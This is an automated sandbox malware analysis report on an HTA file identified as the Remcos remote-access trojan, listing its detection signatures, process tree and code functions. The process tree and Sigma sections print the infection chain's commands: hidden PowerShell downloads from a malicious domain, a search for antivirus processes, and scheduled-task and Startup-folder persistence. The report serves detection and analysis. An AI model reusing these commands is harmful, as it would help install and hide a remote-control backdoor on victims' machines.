Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
c2.hta

Overview

General Information

Sample name:c2.hta
Analysis ID:1584279
MD5:ece58ed90bef5251133c688f6afe915f
SHA1:0b56d72ecb891950f8b4e8bf7288aee0ac102101
SHA256:bbe818541c34a4def85455fa7a1392d2ded1e76ca6d89f08125a13d09ea4b93a
Tags:htauser-abuse_ch
Infos:

Detection

Remcos
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Antivirus detection for URL or domain
Detected Remcos RAT
Sigma detected: Drops script at startup location
Sigma detected: Remcos
Sigma detected: Search for Antivirus process
AI detected suspicious sample
Drops PE files with a suspicious file extension
Drops large PE files
Found API chain indicative of sandbox detection
Installs a global keyboard hook
Loading BitLocker PowerShell Module
Powershell drops PE file
Sigma detected: Legitimate Application Dropped Script
Sigma detected: Suspicious Command Patterns In Scheduled Task Creation
Sigma detected: Suspicious Invoke-WebRequest Execution
Sigma detected: Suspicious MSHTA Child Process
Sigma detected: Suspicious Script Execution From Temp Folder
Sigma detected: WScript or CScript Dropper
Suspicious powershell command line found
Uses schtasks.exe or at.exe to add and modify task schedules
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Wscript called in batch mode (surpress errors)
Contains functionality for read data from the clipboard
Contains functionality to block mouse and keyboard input (often used to hinder debugging)
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check if a window is minimized (may be used to check if an application is visible)
Contains functionality to communicate with device drivers
Contains functionality to dynamically determine API calls
Contains functionality to execute programs as a different user
Contains functionality to launch a process as a different user
Contains functionality to launch a program with higher privileges
Contains functionality to modify clipboard data
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to query CPU information (cpuid)
Contains functionality to read the PEB
Contains functionality to read the clipboard data
Contains functionality to retrieve information about pressed keystrokes
Contains functionality to shutdown / reboot the system
Contains functionality to simulate keystroke presses
Contains functionality to simulate mouse events
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates a start menu entry (Start Menu\Programs\Startup)
Creates files inside the system directory
Detected potential crypto function
Dropped file seen in connection with other malware
Drops PE files
Enables debug privileges
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
IP address seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
OS version to string mapping found (often used in BOTs)
Potential key logger detected (key state polling based)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Searches for the Microsoft Outlook file path
Sigma detected: PowerShell Web Download
Sigma detected: SCR File Write Event
Sigma detected: Suspicious Copy From or To System Directory
Sigma detected: Suspicious Schtasks From Env Var Folder
Sigma detected: Suspicious Screensaver Binary File Creation
Sigma detected: Usage Of Web Request Commands And Cmdlets
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Stores files to the Windows start menu directory
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

  • System is w10x64
  • mshta.exe (PID: 1236 cmdline: mshta.exe "C:\Users\user\Desktop\c2.hta" MD5: 06B02D5C097C7DB1F109749C45F3F505)
    • cmd.exe (PID: 5960 cmdline: "C:\Windows\System32\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\temp.bat" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • conhost.exe (PID: 4464 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 6184 cmdline: powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri https://myguyapp.com/W2.pdf -OutFile C:\Users\user\Downloads\W2.pdf" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)
      • Acrobat.exe (PID: 7296 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Downloads\W2.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)
        • AcroCEF.exe (PID: 7628 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)
          • AcroCEF.exe (PID: 7784 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2100 --field-trial-handle=1632,i,1275163291349414999,11919698709782413432,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)
      • powershell.exe (PID: 7360 cmdline: powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri https://myguyapp.com/msword.zip -OutFile C:\Users\user\AppData\Local\Temp\msword.zip" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)
      • powershell.exe (PID: 8600 cmdline: powershell -WindowStyle Hidden -Command "Expand-Archive -Path C:\Users\user\AppData\Local\Temp\msword.zip -DestinationPath C:\Users\user\AppData\Local\Temp\msword -Force" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)
      • msword.exe (PID: 8860 cmdline: msword.exe MD5: 6BCF42715FD1768FE1013C702612D0EE)
        • cmd.exe (PID: 9000 cmdline: "C:\Windows\System32\cmd.exe" /c copy Market Market.cmd && Market.cmd MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
          • conhost.exe (PID: 9008 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
          • tasklist.exe (PID: 9052 cmdline: tasklist MD5: 0A4448B31CE7F83CB7691A2657F330F1)
          • findstr.exe (PID: 9060 cmdline: findstr /I "wrsa opssvc" MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)
          • tasklist.exe (PID: 9108 cmdline: tasklist MD5: 0A4448B31CE7F83CB7691A2657F330F1)
          • findstr.exe (PID: 9116 cmdline: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)
          • cmd.exe (PID: 9152 cmdline: cmd /c md 677826 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
          • findstr.exe (PID: 9168 cmdline: findstr /V "MechanicalDlModularRuSchedulingVisibilityProposalsClimb" Hearings MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)
          • cmd.exe (PID: 9184 cmdline: cmd /c copy /b ..\Charged + ..\Syndicate + ..\Controversy + ..\Fig + ..\Phentermine + ..\Peripheral + ..\Lets + ..\Usgs + ..\Viewed + ..\Dealer + ..\Matter N MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
          • Prostores.com (PID: 9200 cmdline: Prostores.com N MD5: 62D09F076E6E0240548C2F837536A46A)
            • cmd.exe (PID: 6976 cmdline: cmd /c schtasks.exe /create /tn "Troubleshooting" /tr "wscript //B 'C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.js'" /sc minute /mo 5 /F MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
              • conhost.exe (PID: 7180 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
              • schtasks.exe (PID: 8212 cmdline: schtasks.exe /create /tn "Troubleshooting" /tr "wscript //B 'C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.js'" /sc minute /mo 5 /F MD5: 48C2FE20575769DE916F48EF0676A965)
            • cmd.exe (PID: 8364 cmdline: cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CineBlend.url" & echo URL="C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CineBlend.url" & exit MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
              • conhost.exe (PID: 6184 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
          • choice.exe (PID: 1020 cmdline: choice /d y /t 5 MD5: FCE0E41C87DC4ABBE976998AD26C27E4)
    • cmd.exe (PID: 8896 cmdline: "C:\Windows\System32\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\cleanup.bat" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • conhost.exe (PID: 8904 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • timeout.exe (PID: 8948 cmdline: timeout /t 10 MD5: 976566BEEFCCA4A159ECBDB2D4B1A3E3)
  • wscript.exe (PID: 8388 cmdline: C:\Windows\system32\wscript.EXE //B "C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)
    • CineBlend.scr (PID: 8488 cmdline: "C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scr" "C:\Users\user\AppData\Local\MediaFusion Technologies Inc\s" MD5: 62D09F076E6E0240548C2F837536A46A)
  • wscript.exe (PID: 5004 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)
    • CineBlend.scr (PID: 3524 cmdline: "C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scr" "C:\Users\user\AppData\Local\MediaFusion Technologies Inc\s" MD5: 62D09F076E6E0240548C2F837536A46A)
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
Remcos, RemcosRATRemcos (acronym of Remote Control & Surveillance Software) is a commercial Remote Access Tool to remotely control computers.Remcos is advertised as legitimate software which can be used for surveillance and penetration testing purposes, but has been used in numerous hacking campaigns.Remcos, once installed, opens a backdoor on the computer, granting full access to the remote user.Remcos is developed by the cybersecurity company BreakingSecurity.
  • APT33
  • The Gorgon Group
  • UAC-0050
https://malpedia.caad.fkie.fraunhofer.de/details/win.remcos

Malware Configuration

⊘No configs have been found

Yara Signatures

⊘No yara matches

Sigma Signatures

System Summary

barindex
Sigma detected: Legitimate Application Dropped Script
Source: File createdAuthor: frack113, Florian Roth (Nextron Systems): Data: EventID: 11, Image: C:\Windows\SysWOW64\mshta.exe, ProcessId: 1236, TargetFilename: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\c2[1].bat
Sigma detected: Suspicious Command Patterns In Scheduled Task Creation
Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: schtasks.exe /create /tn "Troubleshooting" /tr "wscript //B 'C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.js'" /sc minute /mo 5 /F, CommandLine: schtasks.exe /create /tn "Troubleshooting" /tr "wscript //B 'C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.js'" /sc minute /mo 5 /F, CommandLine|base64offset|contains: j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: cmd /c schtasks.exe /create /tn "Troubleshooting" /tr "wscript //B 'C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.js'" /sc minute /mo 5 /F, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 6976, ParentProcessName: cmd.exe, ProcessCommandLine: schtasks.exe /create /tn "Troubleshooting" /tr "wscript //B 'C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.js'" /sc minute /mo 5 /F, ProcessId: 8212, ProcessName: schtasks.exe
Sigma detected: Suspicious Invoke-WebRequest Execution
Source: Process startedAuthor: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri https://myguyapp.com/msword.zip -OutFile C:\Users\user\AppData\Local\Temp\msword.zip", CommandLine: powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri https://myguyapp.com/msword.zip -OutFile C:\Users\user\AppData\Local\Temp\msword.zip", CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\temp.bat", ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 5960, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri https://myguyapp.com/msword.zip -OutFile C:\Users\user\AppData\Local\Temp\msword.zip", ProcessId: 7360, ProcessName: powershell.exe
Sigma detected: Suspicious MSHTA Child Process
Source: Process startedAuthor: Michael Haag: Data: Command: "C:\Windows\System32\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\temp.bat", CommandLine: "C:\Windows\System32\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\temp.bat", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: mshta.exe "C:\Users\user\Desktop\c2.hta", ParentImage: C:\Windows\SysWOW64\mshta.exe, ParentProcessId: 1236, ParentProcessName: mshta.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\temp.bat", ProcessId: 5960, ProcessName: cmd.exe
Sigma detected: Suspicious Script Execution From Temp Folder
Source: Process startedAuthor: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri https://myguyapp.com/msword.zip -OutFile C:\Users\user\AppData\Local\Temp\msword.zip", CommandLine: powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri https://myguyapp.com/msword.zip -OutFile C:\Users\user\AppData\Local\Temp\msword.zip", CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\temp.bat", ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 5960, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri https://myguyapp.com/msword.zip -OutFile C:\Users\user\AppData\Local\Temp\msword.zip", ProcessId: 7360, ProcessName: powershell.exe
Sigma detected: WScript or CScript Dropper
Source: Process startedAuthor: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\system32\wscript.EXE //B "C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.js", CommandLine: C:\Windows\system32\wscript.EXE //B "C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1044, ProcessCommandLine: C:\Windows\system32\wscript.EXE //B "C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.js", ProcessId: 8388, ProcessName: wscript.exe
Sigma detected: PowerShell Web Download
Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri https://myguyapp.com/W2.pdf -OutFile C:\Users\user\Downloads\W2.pdf", CommandLine: powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri https://myguyapp.com/W2.pdf -OutFile C:\Users\user\Downloads\W2.pdf", CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\temp.bat", ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 5960, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri https://myguyapp.com/W2.pdf -OutFile C:\Users\user\Downloads\W2.pdf", ProcessId: 6184, ProcessName: powershell.exe
Sigma detected: SCR File Write Event
Source: File createdAuthor: Christopher Peacock @securepeacock, SCYTHE @scythe_io: Data: EventID: 11, Image: C:\Users\user\AppData\Local\Temp\677826\Prostores.com, ProcessId: 9200, TargetFilename: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scr
Sigma detected: Suspicious Copy From or To System Directory
Source: Process startedAuthor: Florian Roth (Nextron Systems), Markus Neis, Tim Shelton (HAWK.IO), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c copy Market Market.cmd && Market.cmd, CommandLine: "C:\Windows\System32\cmd.exe" /c copy Market Market.cmd && Market.cmd, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: msword.exe, ParentImage: C:\Users\user\AppData\Local\Temp\msword\msword.exe, ParentProcessId: 8860, ParentProcessName: msword.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c copy Market Market.cmd && Market.cmd, ProcessId: 9000, ProcessName: cmd.exe
Sigma detected: Suspicious Schtasks From Env Var Folder
Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: schtasks.exe /create /tn "Troubleshooting" /tr "wscript //B 'C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.js'" /sc minute /mo 5 /F, CommandLine: schtasks.exe /create /tn "Troubleshooting" /tr "wscript //B 'C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.js'" /sc minute /mo 5 /F, CommandLine|base64offset|contains: j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: cmd /c schtasks.exe /create /tn "Troubleshooting" /tr "wscript //B 'C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.js'" /sc minute /mo 5 /F, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 6976, ParentProcessName: cmd.exe, ProcessCommandLine: schtasks.exe /create /tn "Troubleshooting" /tr "wscript //B 'C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.js'" /sc minute /mo 5 /F, ProcessId: 8212, ProcessName: schtasks.exe
Sigma detected: Suspicious Screensaver Binary File Creation
Source: File createdAuthor: frack113: Data: EventID: 11, Image: C:\Users\user\AppData\Local\Temp\677826\Prostores.com, ProcessId: 9200, TargetFilename: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scr
Sigma detected: Usage Of Web Request Commands And Cmdlets
Source: Process startedAuthor: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri https://myguyapp.com/W2.pdf -OutFile C:\Users\user\Downloads\W2.pdf", CommandLine: powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri https://myguyapp.com/W2.pdf -OutFile C:\Users\user\Downloads\W2.pdf", CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\temp.bat", ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 5960, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri https://myguyapp.com/W2.pdf -OutFile C:\Users\user\Downloads\W2.pdf", ProcessId: 6184, ProcessName: powershell.exe
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Source: Process startedAuthor: Michael Haag: Data: Command: C:\Windows\system32\wscript.EXE //B "C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.js", CommandLine: C:\Windows\system32\wscript.EXE //B "C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1044, ProcessCommandLine: C:\Windows\system32\wscript.EXE //B "C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.js", ProcessId: 8388, ProcessName: wscript.exe
Sigma detected: Non Interactive PowerShell Process Spawned
Source: Process startedAuthor: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri https://myguyapp.com/W2.pdf -OutFile C:\Users\user\Downloads\W2.pdf", CommandLine: powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri https://myguyapp.com/W2.pdf -OutFile C:\Users\user\Downloads\W2.pdf", CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\temp.bat", ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 5960, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri https://myguyapp.com/W2.pdf -OutFile C:\Users\user\Downloads\W2.pdf", ProcessId: 6184, ProcessName: powershell.exe

Data Obfuscation

barindex
Sigma detected: Drops script at startup location
Source: File createdAuthor: Joe Security: Data: EventID: 11, Image: C:\Windows\SysWOW64\cmd.exe, ProcessId: 8364, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CineBlend.url

HIPS / PFW / Operating System Protection Evasion

barindex
Sigma detected: Search for Antivirus process
Source: Process startedAuthor: Joe Security: Data: Command: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" , CommandLine: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" , CommandLine|base64offset|contains: ~), Image: C:\Windows\SysWOW64\findstr.exe, NewProcessName: C:\Windows\SysWOW64\findstr.exe, OriginalFileName: C:\Windows\SysWOW64\findstr.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c copy Market Market.cmd && Market.cmd, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 9000, ParentProcessName: cmd.exe, ProcessCommandLine: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" , ProcessId: 9116, ProcessName: findstr.exe

Stealing of Sensitive Information

barindex
Sigma detected: Remcos
Source: File createdAuthor: Joe Security: Data: EventID: 11, Image: C:\Users\user\AppData\Local\Temp\677826\Prostores.com, ProcessId: 9200, TargetFilename: C:\ProgramData\remcos\logs.dat

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

barindex
Antivirus detection for URL or domain
Source: https://myguyapp.com/msword.zipAvira URL Cloud: Label: malware
Source: https://myguyapp.com/c2.batAvira URL Cloud: Label: malware
AI detected suspicious sample
Source: Submited SampleIntegrated Neural Analysis Model: Matched 98.8% probability
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeCode function: 15_2_00406301 FindFirstFileW,FindClose,15_2_00406301
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeCode function: 15_2_00406CC7 DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,15_2_00406CC7
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 36_2_00BAA087 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,36_2_00BAA087
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 36_2_00BAA1E2 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,36_2_00BAA1E2
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 36_2_00B9E472 lstrlenW,GetFileAttributesW,FindFirstFileW,FindClose,36_2_00B9E472
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 36_2_00BAA570 FindFirstFileW,Sleep,FindNextFileW,FindClose,36_2_00BAA570
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 36_2_00BA66DC FindFirstFileW,FindNextFileW,FindClose,36_2_00BA66DC
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 36_2_00B6C622 FindFirstFileExW,36_2_00B6C622
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 36_2_00BA73D4 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToSystemTime,FileTimeToSystemTime,36_2_00BA73D4
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 36_2_00BA7333 FindFirstFileW,FindClose,36_2_00BA7333
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 36_2_00B9D921 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,36_2_00B9D921
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 36_2_00B9DC54 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,36_2_00B9DC54
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 38_2_0064A087 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,38_2_0064A087
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 38_2_0064A1E2 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,38_2_0064A1E2
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 38_2_0063E472 lstrlenW,GetFileAttributesW,FindFirstFileW,FindClose,38_2_0063E472
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 38_2_0064A570 FindFirstFileW,Sleep,FindNextFileW,FindClose,38_2_0064A570
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 38_2_0060C622 FindFirstFileExW,38_2_0060C622
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 38_2_006466DC FindFirstFileW,FindNextFileW,FindClose,38_2_006466DC
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 38_2_00647333 FindFirstFileW,FindClose,38_2_00647333
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 38_2_006473D4 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToSystemTime,FileTimeToSystemTime,38_2_006473D4
Source: C:\Users\user\AppData\Local\MediaFusion Technologies Inc\CineBlend.scrCode function: 38_2_0063D921 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,38_2_0063D921
